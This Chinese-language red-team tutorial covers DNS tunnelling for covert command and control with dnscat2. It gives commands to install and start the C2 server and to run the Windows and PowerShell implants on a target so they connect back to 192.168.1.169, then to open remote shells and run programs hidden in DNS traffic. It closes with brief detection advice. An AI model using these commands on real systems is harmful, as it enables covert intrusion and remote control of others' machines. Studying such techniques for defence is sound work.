【基础篇】————5、隐匿攻击之DNS

隐匿攻击之DNS

即使在最受限制的环境中,也应该允许DNS流量解析内部或外部域。这可以用作目标主机和命令和控制服务器之间的通信通道。命令和数据包含在DNS查询和响应中,因此很难检测,因为任意命令隐藏在合法流量中。

使用Dnscat2可以实现这种技术,Dnscat2可以通过DNS协议创建命令和控制通道。此工具使用基于C的客户端(植入),它需要在目标上执行,以便服务器接收连接。流量以加密形式传输,并且还支持通过预共享秘密进行身份验证。

通过以下命令从Kali Linux 2.0计算机上轻松安装此工具。

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install

【基础篇】————5、隐匿攻击之DNS_第1张图片

可以使用以下命令启动命令和控制服务器。

ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache

【基础篇】————5、隐匿攻击之DNS_第2张图片

可以从此处直接下载用于Windows系统的客户端(植入)的编译版本。从目标的命令提示符开始,唯一的要求是指定DNS服务器以便与C2(命令和控制)服务器建立连接。

dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169

【基础篇】————5、隐匿攻击之DNS_第3张图片

从Dnscat2开始,红队可以开始与已创建的现有会话进行交互:

session -i 1

【基础篇】————5、隐匿攻击之DNS_第4张图片

通过执行“ help ”,可以检索可用的命令列表:

【基础篇】————5、隐匿攻击之DNS_第5张图片

dnscat2的部分功能是上传和下载文件,执行其他程序以及获取远程shell。

使用“ shell ”命令可以轻松获取shell,这将打开另一个会话:

【基础篇】————5、隐匿攻击之DNS_第6张图片

以下输出将出现在目标的命令提示符上:

【基础篇】————5、隐匿攻击之DNS_第7张图片

shell将是交互式和快速的,所有命令将通过DNS流量传输:

【基础篇】————5、隐匿攻击之DNS_第8张图片

通过调用可执行文件可以远程启动另一个程序:

exec notepad.exe

【基础篇】————5、隐匿攻击之DNS_第9张图片

Luke Baggett开发了一种PowerShell版植入物,已在blackhillsinfosec网站上介绍和描述。这些命令是相同的,但添加了其他功能,如交互式PowerShell会话和直接从内存运行脚本的功能。

需要从目标上的PowerShell会话执行以下命令:

PS C:\> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169

也可以通过运行以下命令来建立直接的PowerShell会话:

exec psh

【基础篇】————5、隐匿攻击之DNS_第10张图片

之后将创建一个能够执行PowerShell命令和脚本的新控制台:

【基础篇】————5、隐匿攻击之DNS_第11张图片

小结

使用dnscat2对DNS进行命令和控制有各种优点。他们之中有一些是:

  • 支持多个会话
  • 流量加密
  • 使用密钥保护MiTM攻击
  • 直接从内存运行PowerShell脚本
  • 隐匿性较好

由于任意命令在合法DNS流量之后传输的事实很难检测,因此应该强调监视DNS查询的长度并允许主机仅与受信任的DNS服务器通信。

参考

  • https://github.com/iagox86/dnscat2
  • https://github.com/lukebaggett/dnscat2-powershell
  • https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/

 

你可能感兴趣的:(【内网渗透】,————基础篇)